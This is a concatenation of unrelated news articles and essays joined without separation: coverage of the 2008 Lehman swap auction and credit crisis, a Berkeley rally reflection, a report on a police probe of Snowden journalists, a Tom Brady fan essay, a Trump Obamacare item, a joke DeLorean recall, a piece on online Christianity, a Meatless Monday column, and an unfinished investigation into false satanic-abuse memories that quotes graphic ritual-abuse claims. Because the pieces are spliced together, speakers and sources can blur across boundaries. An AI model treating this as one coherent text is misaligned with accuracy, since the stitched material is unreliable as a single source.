fear of a global recession, and fear that there is nothing that policymakers can do to stop the world economy from slipping into the abyss.  Of course, if a grand plan does not come out of this weekend's G-7 meeting or even by Monday, that could take some of the air out of the market. And the roller coaster ride could begin anew.  Details On Lehman Brothers Credit Default Swaps  Friday afternoon, the financial institutions that provided default insurance on the now-bankrupt Lehman Brothers found out how much they will have to pay to make the buyers whole.  At an auction held Friday, the price for Lehman debt was set at 8.625 cents for every dollar. That means that any company that sold swaps tied to Lehman debt will have to pay out the remaining 91.375 cents for every dollar on the contract.  The pricing sets up the biggest-ever payout in the $55 trillion credit default market.  Because there is no central exchange or system for reporting credit default swap trades, analysts have been fretting over the lack of transparency and uncertainty that these financial instruments inject into the credit markets.  Among the many factors holding up lending was the question of just how much credit default swaps will be worth. Now that banks have some clarity on the Lehman swap price, it could give them a better picture of their own financial health — and the health of those they lend to.  The downside is that the Lehman credit swap price could add more volatility to the stock market. The theory is that if institutions have been selling stock to raise money in anticipation of settling those swaps, then they might put the money back into the market now that the value of the swap is clearer.  Credit Remains Tight  Hedge funds, insurance companies and banks buy and sell credit protection as a matter of course. They have used credit default swaps as a hedge to insure a bond against a default or, in some cases, as a bet against a company's ability to pay off its debt.  Credit swaps are part of the reason the credit markets are drum tight right now. It is very expensive to borrow money — if you can get it at all — because banks still don't feel confident enough to lend money.  The difference between what banks and the Treasury pay to borrow money for three months, the so-called TED spread, proves the point. It widened to 4.62 percentage points on Friday, according to Bloomberg figures. That is the biggest spread since Bloomberg began compiling data in 1984. To give an idea of just how much the financial crisis has affected credit, the TED spread was 1.16 percentage points a month ago.  President Bush appeared in the Rose Garden soon after the market opened Friday, seeking to calm investors. He said his administration was working to stem the crisis, but it would take some time for the measures to take hold. "We are a prosperous nation with immense resources and a wide range of tools at our disposal," the president said after providing a list of the measures his administration has already put in place. "We can solve this crisis and we will."  Today's sell-off in the stock market isn't about fundamentals — such as corporate earnings and dividends; instead, it is all about emotion. People are selling because they are scared. Typically, when emotion is motivating sales, it means the market is getting close to a bottom.  "People are still in panic mode," Art Hogan, a managing director at Jefferies, told CNBC. "The bottom gets put in today. You heard it here: Today is going to be the bottom."  Boosting Confidence, Or Rattling Investors?  What may be most remarkable is that the weeklong sell-off has happened in spite of a number of high-profile moves aimed at building investor confidence.  Early in the week, the Treasury announced that it would give credit markets a boost by buying short-term loans known as commercial paper. Businesses buy commercial paper to help with cash flow — they are like short-term IOUs that allow them to pay for raw materials or for payroll. The Fed went into the market because banks are loath to lend anyone money right now. The move, while welcome, did little to thaw credit markets.  On Wednesday, the Fed announced that it was joining with five other central banks around the world to slash key interest rates by a half-percentage point. The thought was that making borrowing cheaper would free up credit. It didn't work.  Instead, the rate cuts only seemed to rattle investors more. Investors were torn between viewing the unusual coordinated move as an indication that central banks are prepared to do whatever it takes to prevent a global recession — or as a sign that something even more awful is coming down the pike.  Thursday morning, U.S. investors woke to the news that the Treasury Department was considering taking ownership stakes in U.S. banks. NPR reported last week that Treasury Secretary Henry Paulson was weighing a plan in which the U.S. government would directly inject cash into struggling firms in exchange for an ownership share. The money to do that would be taken from the $700 billion financial rescue package that Congress passed and President Bush signed last week.  Many economists have said a cash-injection plan would be a better way to address the financial crisis than just taking distressed assets off banks' books at fire sale prices.  "These capital injections are something that Secretary Paulson is actively considering," said White House spokeswoman Dana Perino at a press conference Thursday.  Is AIG A Harbinger?  Among the factors driving the market is an irrational fear of the unknown.  Investors are worried that they are only seeing the tip of the iceberg, and that financial institutions are hiding more scary news beneath the surface.  That has become a self-fulfilling prophecy.  In some ways, insurance giant AIG has become a harbinger of that fear. The New York Fed announced Thursday night that AIG has already burned through $70.3 billion of the $85 billion the Fed lent it just three weeks ago.  The rate at which AIG is gobbling up money is part of the reason the Fed decided to extend a second loan of nearly $38 billion to the company this week. The burn rate of cash at AIG has raised the question of just how deep a hole AIG — and other financial institutions — are in.  "I think you are going to find that the problems are deeper than the initial estimate," said John Coffee, a securities law expert at Columbia University. "There is always a tendency to underestimate your problems. Once you find the government is in for $85 billion, you may recognize that the government can't stop there. They have got to save you, and it may be another X billion will still be required."  The Fed clearly ran into that issue this week when it announced that it would be lending AIG as much as another $37.8 billion. Nick Ashooh, a spokesman for AIG, said that people shouldn't jump to the conclusion that the $85 billion lending facility the Fed gave the company isn't enough.  "Actually, under this new program, the hope is it will reduce our need to access the $85 billion facility," he said. "It gives us relief on the cash-flow front, which is what the $85 billion is there to do."  Some investors see the second loan as sending a different message. They worry that if the Fed underestimated the scope of AIG's problems, perhaps the government also undershot the mark with its $700 billion bailout package for the financial industry more generally.  "I would say the market reaction for the last couple of days shows the market judgment is that the $700 billion may be well short of what is necessary," said Coffee.  But it's important to remember that even if the government ends up spending more than $700 billion, it won't necessarily be a dead loss. That money will be going to shore up banks and to buy assets — and those assets will have some value. It just isn't clear right now what exactly that value will be.  With additional reporting by The Associated Press.
-My name is Jill and I live in Berkeley. I have two kids in BUSD schools, I own a home, I volunteer for the PTA, I work for local businesses, and my politics are liberal. I am (mostly) a typical Berkeley resident. I’m also incredibly frustrated by the fact that people who don’t live here are using our town as their ideological stomping grounds; on twitter the alt-right has told me that they want to start a civil war, and that they want to start it here.  Last Thursday, I was at Civic Center Park, across the street from where my oldest child goes to high school. I came out after work to see what was going on, and I ended up spending 2 hours walking amongst “the enemy”: the Trump supporters and Ann Coulter fans who came out for “the fuck ANTIFA rally.” We were all expecting violence but luckily what we ended up with was a completely peaceful assembly.  At some point I had decided to start introducing myself to people, to tell them that I live here and that “real Berkeley residents” don’t support violence. I spotted a group of guys that looked scary to me: Beards, leather vests, tattoos, sunglasses, etc. and I approached them and introduced myself. I said “Hi my name is Jill, I live in Berkeley and I want you to know that I’m not your enemy. This is what happens when you guys come here and only Berkeley residents show up. You do your thing and there’s no violence, there’s no pepper spray, there’s no sticks or bricks, there’s just people talking.” I said I’m sure I would disagree with every single thing they believed in, and that they would disagree with me, but that doesn’t mean we’re not allowed to believe it, and that it’s possible to think these opposing thoughts without hurting each other physically.  I was terrified, my hands were shaking, and I told them so (because I babble when I’m nervous), and they told me, “You are safe with us.” They were seriously some of the nicest guys I’ve met. One’s name was Ryan, another was Garrett. I don’t remember the name of the man who told me I was safe with him, and I’m sorry that I don’t because I’ll always remember his face. I’m sure that we vehemently disagree on politics, but I’m also sure that he was a really nice person. If he and I could sit down over a beer and talk issues, I know we could teach each other some things. We don’t have to agree, but from our disagreement can come wisdom, and if all we ever do is yell at each other and try to hurt each other physically, nothing good can come from that. We all agreed on that point.  And it occurred to me that so much of this political fighting is done on the Internet; on Twitter, on Facebook, in “the comments,” but if we actually meet face-to-face, without helmets or masks, things can be so different. It seems so obvious when I say it, but if all you do is argue with people online, you really have no idea what it’s like when you encounter them in person. Maybe I’ve even argued with these same guys at some point; Ryan or Garrett or the guy whose name I don’t remember (I’m sorry!), it’s entirely possible. If we met on Twitter, would they tell me I was safe with them or would they mock me for being a sensitive liberal snowflake? Would I tell them they were welcome here or would I block them from my Facebook page? It’s possible, even likely, but when we’re standing in front of each other, I can say I’m scared and they can tell me I’m safe.  The experience was a wakeup call for me. The anonymity of the Internet makes us mean, but I believe that it is the feeling of powerlessness that leads us to a place where we look for scapegoats and we lash out at others over political issues. If we all feel powerless, doesn’t it make sense that we would do better together? I fully admit to my own bad behavior in this area, but if anything that I have said online would ultimately lead to an actual civil war, I am more than willing to step up and take responsibility for the impact my words have had. I don’t want a civil war; not in my town, not in any town.  I don’t know how to make things better but I know that the way we’ve been doing it so far isn’t working. At the end of the day on Thursday, I met a new follower on Twitter who told me “we might not agree politically, but I enjoyed your tweets from Berkeley today.”  Is this how it starts? With one small gesture? If so, I’m willing to make it. Are you?
-A SECRETIVE BRITISH POLICE INVESTIGATION focusing on journalists working with Edward Snowden’s leaked documents has been designated the code name “Operation Curable,” according to details newly obtained by The Intercept under the U.K.’s Freedom of Information Act.  The counterterrorism unit within the London Metropolitan Police’s Specialist Operations division has been conducting the criminal probe for more than two years.  The Metropolitan Police first announced it had launched a criminal investigation related to the Snowden documents in August 2013. About four months later, in December 2013, the force’s then-assistant commissioner Cressida Dick acknowledged the investigation was looking at whether reporters at The Guardian had committed criminal offenses for their role in revealing British surveillance operations exposed in the leaked files.  Since 2013, few new details about the case have been revealed, with police officials attempting to withhold information about the investigation. Earlier this year, the Metropolitan Police repeatedly refused to disclose the status of the investigation on the grounds that doing so could be “detrimental to national security.” But following an intervention from the authority that enforces the U.K.’s freedom of information laws, the force reversed its position in late July and admitted that the probe remained ongoing.  The investigation — Operation Curable, as it’s called — is currently being carried out under the direction of Mark Rowley, the head of the Specialist Operations unit. In the 1990s, Rowley pioneered the development of British police covert surveillance methods as a detective superintendent with the National Criminal Intelligence Service. Recently, Rowley has accused Snowden of undermining the police’s ability to “protect the public and save lives.” He has also asserted that he has no problem monitoring journalists’ communications if he deems it necessary to “chase down criminals.”  It is unclear whether the name Operation Curable has any particular meaning. The Metropolitan Police usually chooses code names for its investigations randomly. In 2008, the BBC reported that the names are selected from a list and that the “aim is to choose names that are completely neutral so they will hopefully be totally unrelated to the case.”  Top photo: Metropolitan Police Assistant Commissioner Mark Rowley speaks to the media outside New Scotland Yard in central London, January 9, 2014.
-Thomas Edward Patrick Brady II. Each name on it’s own is strong. Each of these names belong to one man. The one, Tom Brady. The greatest quarterback the NFL has ever seen.  I know, you hate him.  And it’s ok, it’s understandable. He is everything you wish you could be: Rich, tall, good-looking, model for a wife and most important, a champion. I’m not here to convince you his body of work is there. I’m here to help. Help you dislodge head from ass and maybe this season — after he serves his suspension — you can catch a few of his games and watch his greatness conduct his team like a beautiful orchestra.  Let us start with a little bit of background on the soon to be HOFer. Hailing from San Mateo, CA — Brady grow up a 49er/Joe Montana fan (whom he’s always said is his idol). He lights it up during his junior and senior year of high school then ends up at Michigan. He sits way behind Brian Griese for two-years at seventh on the depth chart. After a battle with rival QB Drew Henson, he finally starts a full season in 1998.  The next year the coach goes “Hey, Tom, you were good but not great, we are going to start you in the 1st quarter and then Drew in the 2nd, then at the half I’ll decide who starts.” (Place chip on shoulder).  They went 5–0 using this f***ed up system. He eventually prevailed as the starting quarterback after being put into a game down 17-points to Michigan State, nearly pulling out a win, but ultimately losing 34–31. He ended his collegiate career going 20–25 as a starter passing for 5,300 passing yards, 35-TDs and a completion percentage of 62.3.  Now we go to the NFL combine. Click this to see Brady’s hilarious combine video. Yeah the GMs, scouts and whoever else saw this weren’t too impressed either. Brady eventually gets drafted No. 199 by the New England Patriots. (Place another chip on the shoulder). The first season he was No. 4 on the depth chart and by the end of the season he became the backup. The following year starter Drew Bledsoe got injured and Brady replaced him, and went on to win his first Super Bowl beating “The Greatest Show on Turf”, the St. Louis Rams (Now the Los Angeles Rams) and his reign of terror has continued ever since.  First, let us address the elephant in the room: What I am saying right now is blasphemy for any 49er fan.  Maybe even to Tom Brady himself. Joe Montana is, in most eyes, considered the best quarterback — even to those who aren’t San Francisco fans. I won’t bore you with stats so, here’s a picture that sums up the important stuff. I’m sure that didn’t persuade at all. So look harder.  Use all the mental fortitude you have, while you are analyzing and processing think of Brady’s offensive help. Montana had the most legendary receiver in the history of the game. No argument. And there was also a running back by the name of Roger Craig.  Do you remember the last time Brady had a wide receiver that could blow the top off the defense or a least make the defense play honest?  I don’t.  He had Randy Moss past his prime. Remember those dark days when Moss was with the bunk-ass Raiders? It was sad. Brady made better for that brief time. The same goes for Amendola, Edelman, Brown, Branch — the list of wide receivers who Brady has made known is stupid. He had Aaron Hernandez, but ol’ boy likes to murder. Gronk is injured at least 4-6 games a season. But those two are just tight ends. Wes Welker was okay, but also not a deep threat and he himself has at least two concussions a game.  And not since Kevin Faulk, has the Patriots had a serviceable running back. But the man never complains. He just puts his head down and grinds it out every year.  Advantage Tommy.  He also holds hella records. And he holds all relevant QB records in the post-season: most division titles (13), most conference wins championships (6), most TDs (56), most yards yada-yada- yada the list goes on.  The most important is the four rings. He should have six— weird shit happened and baby Manning got two. Honestly I think the Gods were jealous of Brady and hated Peyton as much as I do. So win-win.  “But he cheats! He deflates footballs and his team records other teams practices”  Okay, the Patriots cheated. Spygate, that was the team effort. Deflategate, okay that was him and he got way more than he deserves with the 4-game suspension (another chip). They cheated because they’re bored. That’s how good they are. They want to get caught. It’s like people that steal; they get that rush knowing it’s wrong, knowing they might get caught but they want to feel alive. Dominating the league for 15-years gets boring. As for the flat balls. Who gives a shit? That game was over before the half and with properly inflated footballs Brady got his 4th ring.  Remember those chips that we placed upon his shoulder?  He has them still. The media and the fans that doubt his reign and lordship has just added more. Hell, the commissioner of the league hates on his winning ass. And he will use these chips to win at least two more Lombardi trophies…  Wait. Now that I think about it wasn’t His Airness Michael Jeffrey Jordan the same way?  Using the feeling of being overlooked as a catalyst for greatness. Being arrogant and in your face on how good they are. Because even though you can’t deny their skills, for some reason you doubt and bet against them anyway. It might not be true, but to them it’s very real. While you sit and doubt and hate on Tom Brady, all he’s w̶o̶r̶r̶i̶e̶d̶ ̶a̶b̶o̶u̶t̶ doing is throwing up W’s. All he does is win. At everything. Even life. We hate because his life is a dream we all wish we can have but we can’t. It’s his, Tom Edward Patrick Brady II.  Deal with it.  Embrace it.  And most of all enjoy his greatness while he still has it.
-Reuters Flanked by Secretary of State Rex Tillerson and Defense Secretary James Mattis, President Donald Trump meets with members of his cabinet Monday at the White House.  At a cabinet meeting Monday, President Donald Trump said his announcement that he will end cost-sharing payments to health insurers has effectively ended the landmark legislation of his predecessor:  ‘Obamacare is finished, it’s dead, it’s gone. It’s no longer. You shouldn’t even mention it. It’s gone. There is no such thing as Obamacare anymore. It is a concept that couldn’t have worked, in its best days it couldn’t have worked.’ President Trump  Trump’s verdict not withstanding, health insurance will indeed still be offered on state exchanges at the next enrollment period. And while health insurers did see their stock prices decline after Trump’s move on Friday, some of them rebounded Monday.  Molina Healthcare MOH, +0.16% dropped again, while Centene CNC, -0.36% advanced slightly.  Also, there’s a move to reinstate the payments to insurers via legislation. Sen. Susan Collins, a Maine Republican, said Congress needs to ”step in.”
-It’s Back to the Future day, and the Canadian government has decided to get in on the fun.  In honor of the pop culture holiday, Canada has released an official recall notice on the DMC-12 model DeLorean, Doc Brown’s famous time traveling vehicle from the 1980s movie series, faulting a problem with the car’s time travel abilities.  “On a certain DMC-12 car converted into a time machine, a defect in the flux capacitor could lead to inability to travel through time while travelling at 88 miles per hour (141.6 km/h) and may increase energy consumption beyond 1.21 gigawatts,” the release reads, referencing the speed at which the movies’ DeLorean can travel to the future. “This could have disastrous consequences.”  Before you send your own time traveling DeLorean back to the manufacturer, however, make sure to read Canada’s update to the recall: “Correction: Doc Brown will affect repairs.”  The Brief Newsletter Sign up to receive the top stories you need to know right now. View Sample Sign Up Now  Andrea Moritz, manager of media relations with Ottawa-based Transport Canada which released the recall, said that this isn’t the first time the division has timed a recall or notice with a theme, pointing to Santa Claus news releases.  “We always try to have some tweets that are topical and in line with something that’s trending and informative,” she told TIME. “When the team was brainstorming, we thought it would be fun.”  The response to the recall has been “overwhelmingly positive,” Moritz said. “People think it’s funny and appreciate that the government has a sense of humor.”  Write to Tanya Basu at tanya.basu@time.com.
-I watch sports, take care of my kids, go on date nights with my wife, wait in traffic for hours, work long shifts at my job, and waste a lot of time taking naps — not necessarily in that order. I love my life, but when I flip open my laptop I suddenly become a different person.  I have multiple online identities, the result of subconsciously trying to be a better version of myself — a better follower of Christ. But these various personalities that I portray among social media sites are fabrications. Here are a few examples why:  The single verse I post on Twitter is the only Scripture I read all day — even though my Facebook profile claims that the Bible is one of my favorite books.  C.S. Lewis, Dietrich Bonhoeffer, Donald Miller, and Francine Rivers are also listed, but only to prove my Evangelical IQ.  I’m #prayingforSandyHook and #prayingforBoston and #prayingforOklahoma, but I rarely pray.  I repost memes about global poverty, loving the poor, reconciliation and promoting peace, but I spend all of my spare time watching Netflix.  I “Like” and “Favorite” my friends’ statuses when they talk about their faith and God, but I haven’t had meaningful conversations with them in years.  I subscribe to the podcasts of pastors and theologians, but I’m always too busy to implement anything I learn.  I carefully select which pictures I post — the ones where I’m constantly smiling and with friends and doing cool things — but my life is filled with many problems, pain, suffering, conflicts, fears, and doubts. I never reveal any of those things.  I Tweet inspirational quotes after much personal thought and reflection, but I never filter what I say to my spouse and kids.  I spend hours browsing through YouTube and Reddit, but I can barely sit through a 20-minute sermon at church.  I share links about Christianity, but I never talk about Jesus in public.  I debate theology via Twitter, Facebook, blog feeds, and message boards, but I’m embarrassed to discuss my faith anywhere else — I never evangelize.  I use PayPal to donate to Christian charities and mission organizations because I don’t want to leave the comfort of my home — others can do all the hard work.  Religious Views: Christian — but not in practice.  I’m a #Christian, and my online faith is radically different than the one I live in real life.  Hashtag Christianity isn’t necessarily bad, but it can cause self-righteousness and provide a false sense of spirituality. It has the danger of making us believe we’re living out our faith without really doing anything.  It forces us to move at the speed of light as we constantly keep up with trending developments, unintentionally creating a spirituality that is superficial and easily distracted.  The online version of our faith is often unrealistically clear and concise and clean. If negative comments or links challenge our faith, we can delete them. If people disagree or attack our faith, we can block them. We curate and maintain a false version of ourselves, keeping up with an ideal that is fake and impossible to fulfill.  I wish I were half as holy as my online profiles claim I am. In the meantime, I’ll continue being a Cyber Christian, full-time hypocrite, and completely forgiven sinner.  #Praying  Stephen Mattson has written for Relevant, Red Letter Christians and The Burnside Writer's Collective. He graduated from the Moody Bible Institute and is currently on staff at University of Northwestern – St. Paul, Minn. Follow him on Twitter @mikta.  Image: Social media illustration, Qiun / Shutterstock.com
-Being publicly-funded gives us a greater chance to continue providing you with high quality content. Please support us!  Another year, another New Year’s resolution soon to be forgotten? Resolutions often come with pressure and guilt to succeed on lofty and seemingly impossible goals. That may be why people lose faith in setting New Year’s resolutions and give up altogether. When I was a pediatric nurse, kids quickly taught me the power of small, enjoyable and more easily achievable goals.  Here’s an idea to consider: A “New Monday” resolution. Since Monday comes around every seven days, there are weekly opportunities to experience success, and failures seem less disappointing because there’s not an entire year lost before trying again. Additionally, data show that web searches for diet-related topics are highest on Mondays. So why not go with what’s natural? Embrace the motivation that comes with a fresh start at the beginning of each week.  Advertisement  New Year, New Monday  An increasingly popular Monday resolution is Meatless Monday when we take a day off from meat. From pop culture icons like J-Lo, Jay Z and Beyoncé, to political figures like New Jersey Sen. Cory Booker, California Rep. Tony Cárdenas, and Florida Rep. Ted Deutch, people all over are decreasing their meat consumption and touting their plant-based diets.  The American Heart Association supports diets that emphasize plant-based foods and suggests using “Meatless Mondays as another opportunity to eat a well-balanced diet.” A diet more focused on fruits, vegetables, beans and grains help reduce the risk for and prevalence of cancer, diabetes, obesity, heart disease and more.  Participating in Meatless Monday can improve our health, yet the benefits extend beyond that.  Far Reaching Benefits  The Humane Society of the United States supports Meatless Monday to help institutional food purchasers reduce the number of animals suffering on factory farms. Unfortunately, most farm animals have become reduced to mere cogs in an industrial machine. That’s why The HSUS advocates compassionate eating – or the Three Rs: “reducing” or “replacing” consumption of animal products, and “refining” our diets. We can also reduce our carbon footprint and environmental impact given that the meat, dairy and egg industries are some of the world’s largest contributors of greenhouse gasses.  Advertisement  Advertisement  Meatless Monday isn’t a one-size-fits-all initiative. We can enjoy familiar comfort foods with an interesting twist such as a white zucchini pizza and try fun foods we may not frequently eat, like a special international meal out.  Instead of trying for a New Year’s resolution, why not set an easy “New Monday” resolution? Try it for multiple weeks and reap the positive feelings of multiple, more frequent successes. In this age of overstimulation with countless competing attention grabs, success requires focus. Another year gone by doesn’t mean we have to overwhelm ourselves with daunting resolutions. We can make 2015 a big impact year by making a small, fun change one Monday at a time.  Advertisement  Image source: Stuffed Sage Carnival Squash
-When she was found dead at 41, Carole Myers left a statement saying she had suffered Satantic child abuse at the hands of her parents. But did she?  At 9.02am Richard Felstead answered the phone; by 9.03am he was breathless with crying. It was the coroner's assistant in Battersea with the news that his sister, Carole, had died two weeks earlier. "I'm sorry it's taken so long to notify you," she said. "Carole's next of kin told us there was no family. But a letter was found – from you."  Two minutes later, the phone rang again. A different caller, with a strange voice, said, "I know you're not one of the ones that harmed Carole."  "Who are you?" said Richard.  "I'm Carole's next of kin."  "What's your name?"  "That's not important."  "How did Carole die?"  "She had a very difficult childhood."  "What? No she didn't."  "The cremation's tomorrow. People have taken time off work. It's very important it goes ahead."  Richard reacted furiously. The phone went dead.  The brothers gathered at their parents' Stockport home: Richard, David, Anthony and Kevin, whose principal memory of the morning of 14 July 2005 is his mother, "Finished. On the floor. Drained. Shattered. Gone." They began talking. Who was the mysterious caller who claimed to be Carole's "next of kin"? Why did she talk of a "difficult childhood" when Carole was happy and popular? She had a successful nursing career down in London. How could she die at just 41? Why had it taken two weeks to be informed? How could there be a funeral tomorrow?  Joseph, their father, stood up. "I'll put a stop to it."  "You can't stop a funeral, Dad!" said Kevin.  Joseph phoned the coroner's assistant. She brusquely informed him that, now the family had been discovered, the funeral would be halted. She mentioned a "life assessment", written by Carole. "It's very upsetting," she said. It was six pages, typed. It said: "My parents were abusive in every way imaginable − sexually, physically and emotionally. At three years of age, my mother smothered my sister. She sat me on top of her body and set the house on fire."  Joseph was astonished. "Had she been ill?" he said. "Had she been sectioned?"  The coroner's assistant replied: "Yes."  Over the coming weeks there came more questions. They were told the nameless "next of kin" had emptied Carole's flat and driven off in her car. Officials kept mentioning a "psychiatrist friend" who accompanied Carole to medical appointments. Joseph was speaking to a police inspector when something occurred to him. "This psychiatrist and this next of kin," he said. "Are they the same person?"  "That's right," said the inspector. "Dr Fleur Fisher."  The Felsteads' search for answers to the many mysteries surrounding Carole's decline is now in its sixth year. Endless letters and FOI requests, alongside hours of legal research and long nights on the internet, have resulted in the collection of hundreds of documents and the generation of yet more questions: angry ones about individuals they believe to have been malign presences in her life; strange ones about startling and little-known corners of human psychology; sad ones about the life and death of the kind and sparky woman they still miss every day.  When I tell them I'd like to write about Carole, they pass me the telephone number, discovered in Carole's phone records, of the woman whose role in the tale is, they're convinced, both sinister and central: that of the "next of kin", Dr Fleur Fisher.  "I'm not sure I want to talk about this," Fisher tells me. "You'll have to let me think about it. That family – they're bloody terrifying."  "You're frightened of them?"  "They're frightening people. And the things they've been saying," she says, adding confusingly: "I'm not a therapist!" She rings off, warning me darkly: "Tread carefully."  The house in which Carole grew up has mauve and dark-red rooms that are shadow-struck and decorated with golden candlestick holders, old family portraits and statues of dogs, birds and deer. Today Joseph sits glowering in the lounge, his patriarch's hands gripping his armchair. Kevin – a softer presence – informs me that Richard's at work, and Anthony's too distraught to speak. Their mother, Joan, passed away last year. David's here, though, friendly yet possessed of an anxious, wiry tension. Over the coming hours, he'll answer questions with flumes of facts and furious analysis, fossicking in boxes for the relevant document to illustrate his point.  For these men, Carole's life is as much a mystery as her death. She had been a friendly, bolshy and academically successful teenager, who loved watching M*A*S*H and wearing the tartan shorts beloved of her favourite band, the Bay City Rollers. She was popular at school and had a noted instinct for caring, going out of her way to play with Michael, the neighbour with Down's syndrome, and paying regular visits to a lonely old man down the road known as Mr Partridge. At 15 she got a weekend job in a home for the disabled. At 21 she qualified as a nurse at Stockport College and rented a nearby flat, making frequent visits back home to borrow milk and money, and sunbathe in the garden. And then, in the mid-1980s, there began a silent drift away from the family.  "Her attitude became hostile," says Joseph.  "You must have been worried?"  Joseph shifts in his seat.  "I was more cross than anything," he says. "It was ill mannered."  In 1986 they discovered Carole had moved to Macclesfield. She'd still send Christmas cards and ring occasionally, assuring them her career was going well. But by 1992 she had moved to London and changed her name from Carol Felstead to Carole Myers. They had to accept that Carole, for some reason, had chosen to stay away.  After her death they discovered Carole had become mentally ill. Her medical records revealed self-harm, alcohol abuse and stretches in psychiatric wards. She'd frequently been suicidal.  They felt shattered about the claims she'd made in her life assessment – and confused. She said she'd been abused by Joseph and his wife, who were the high priest and priestess of a satanic cult, and that during her teens she'd had six children – some fathered by Joseph – that she'd been forced to kill. She also said she had an implant in her eye that would explode if she spoke of the satanists, and that a friend she'd confided in was murdered in front of her.  Carole's charges were easily proven to be false. The sister, whose murder she'd apparently witnessed, actually died of heart problems two years before Carole was born. The house fire, too, predated Carole's birth. And yet, to the Felsteads' disbelief, it seemed the mental-health professionals rarely challenged these impossible horrors. Worse, they'd concluded that Carole's psychological problems came as a result of this fictitious abuse.  But the family is pointing the finger straight back at the clinicians. They believe the blame for Carole's psychological downfall lies with credulous, satanist-obsessed therapists who went along with her claims that she'd been sexually menaced. After all, they point out, it's happened before – most famously in Orkney in 1991, when nine children were forcibly removed from their homes following interviews by social workers led by an individual who was subsequently accused of being "fixated on finding satanic abuse".  I ask the Felsteads when the first mention of mental-health problems appear in Carole's medical records. In August 1985, it turns out, she received therapy for insomnia and nightmares related to "family abuse". Soon afterwards a 1986 letter mentions further "psycho-sexual counselling" by someone whose name sends a cold stun of recognition through me. It's her: the next of kin; the woman who baffled me by abruptly – perhaps defensively – announcing: "I'm not a therapist!" It's Dr Fisher.  Arriving back in London I'm in no doubt that Carole's abuse claims were untrue. But is it really possible, as the Felsteads insist, for a person to have memories "implanted" by a therapist? Professor Elizabeth Loftus, of the University of California, certainly believes so. In one famous study she sought to examine the process by which a therapist can generate a memory of an event simply by suggesting it. Loftus told 24 adults to write detailed descriptions of four childhood events supplied earlier on by a family member. Unbeknown to them, one of those events never actually happened.  But six participants – 25% of the group – remembered the false event. When asked to choose which memory was fiction, five got it wrong. "Since then," says Loftus, "I and many others have planted bizarre memories of accidents: animal attacks, nearly drowning, witnessing demonic possession. What we've found is absolutely stunning. False memories can be very detailed, and people can be very emotional about them. A lot of these therapists say: 'I believe she was abused because every time she talks about it she cries,' as if somehow the emotion is proof that it's true. It's not."  False memories don't even require a therapist. Any trusted source – a book, friend, TV personality – can suggest the possibility of abuse. Your mind might then produce a fragment – an image of something bad happening. What was that? You recall it again. You fill in the details. "Repetition makes it more vivid and familiar," explains Kimberley Wade, associate professor of psychology at Warwick University. "It'll start to feel like a memory."  Wade has generated false memories using doctored childhood photos. "On average 35% of our participants develop a rich memory of their fake event," she says. "They describe how it happened, where they were, how they were feeling."  In the journal Advances in Psychiatric Treatment I find a description of false memory syndrome, or FMS. Sufferers, it says, often make claims involving satanic abuse and are told to stay away from their family. FMS can take place as a result of "recovered memory therapy", an umbrella term for a witchbag of techniques, many involving dream interpretation and hypnotherapy, widely discredited in the 1990s.  The concept of repressed memories itself is, according to psychologist Chris French of the University of London, highly questionable. "There's a divide on this in psychology," he says. "But these 'recovery' methods are also used in the context of alien abduction accounts. If you're going to accept recovered memories of abuse, you should also accept the alien claims."  While chatting with French, I mention a psychotherapist who saw Carole called Valerie Sinason. Unexpectedly he lets out a guttural, melancholy groan.  "Oh Gooooodddd," he says.  If the Felsteads are right, Carole is likely to have had some form of recovered-memory therapy in the mid-80s – roughly the time her behaviour began to sour. But the only person I know who might be able to answer this question of whether she did is Dr Fisher. Since our last chat, she's vanished. She's changed her mobile number and has ignored several emails. Instead I arrange an interview with Valerie Sinason who, according to the records, saw Carole for psychotherapy biweekly for eight months in 1992. I want to know if she'll fit the description Professor Loftus gave of the therapists she's come across in legal cases who have involved false memory – that of a highly credulous believer in satanic abuse who has a tendency to believe ritual damage in patients.  Sinason arrives, in her north London counselling room, tanned and relaxed in a loose smock, dark leggings and trainers. There's a chaise longue with a crowd of teddies resting in its crook. On the floor, shoved beneath a table, a large cloth boy gazes sadly into space. We're joined by her husband David, who takes notes throughout our talk.  Sinason insists she doesn't use recovered-memory techniques. "I'm an analytic therapist," she says. "The idea of that is someone showing, through their behaviour, that all sorts of things might have happened to them." Signs that a patient has suffered satanically include flinching at green or purple objects, the colours of the high priest and priestess's robes. "And if someone shudders when they enter a room, you know it's not ordinary incest."  Another warning, she says, is the patient saying: "I don't know." "What they really mean is: 'I can't bear to say.'" A patient who "overpraises" their family is also suspicious. "The more insecure you are, the more you praise. 'Oh my family was wonderful! I can't remember any of it!'"  In the medical records, Sinason noted that Carole was her first chronic sadistic-abuse patient. Today, when I ask about her first patient, Sinason describes the arrival of two medical professionals – a nurse and a psychologist – one of whom was limping.  "I just had that nasty feeling," she says. "It's her, and she's been hurt by them."  "You could tell that from the limp?" I ask.  "Yep."  Soon, we get to the actual satanism. Sinason talks of a popular ritual in which a child is stitched inside the belly of a dying animal before being 'reborn to satan'. During other celebrations, "people eat faeces, menstrual blood, semen, urine. There's cannibalism." Some groups have doctors performing abortions. "They give the foetus to the mother and she's made to kill the baby."  "And the cannibalism – that's foetuses?" I clarify.  "Foetuses and bits of bodies."  "Raw or cooked?"  "The foetuses are raw."  "Not even a bit of salt and pepper?" I ask.  "Raw. And handed round like communion. On one major festival, the babies are barbecued. I can still remember one survivor saying how easy it is to pull apart the ribs on a baby. But adults are tougher to eat."  She describes large gatherings in woodlands and castles, with huge cloths being laid out. "That's normally when there's a sacrifice," she notes, "and because the rapes are happening all over the place. There's a small amount of cannon fodder in terms of runaways, drug addicts, prostitutes and tramps that are used. There's sex with animals. Horses, dogs, goats. Being hanged upside down. In the woods, on a tree."  "How do they get an animal to have sex with a human?" I wonder.  Sinason's husband thinks for a moment. "Well," he says, "plenty of dogs have a go at people's legs." "True," says Sinason, adding poignantly: "However horrible it sounds, the dog, at least, is friendly afterwards."  "Because at least the dog's had a good time," I say.  "And the child loves the pet," Sinason nods. "The pet is made to have sex with the child – but the pet, at least, is still their friend."  Having experienced the Sinasons' wild kaleidoscope of beliefs, it seems obvious to me that the Felsteads are right in suspecting that Carole's therapists had some dramatically unlikely views. But Sinason doesn't enter Carole's story until the early 1990s. Her abuse memories – at least the initial ones – cannot be blamed on her. I'm more determined than ever to ask Dr Fisher if Carole underwent recovered-memory therapy.  David Felstead emails me a home number for Fisher, but it goes to the answerphone of another family. When, out of desperation, I dial it a final time, someone picks up. To my astonishment, she says: "Yes, people call for Fleur Fisher sometimes. I'll give you her number."  Dr Fisher lives in Plymouth, and is a former head of ethics at the British Medical 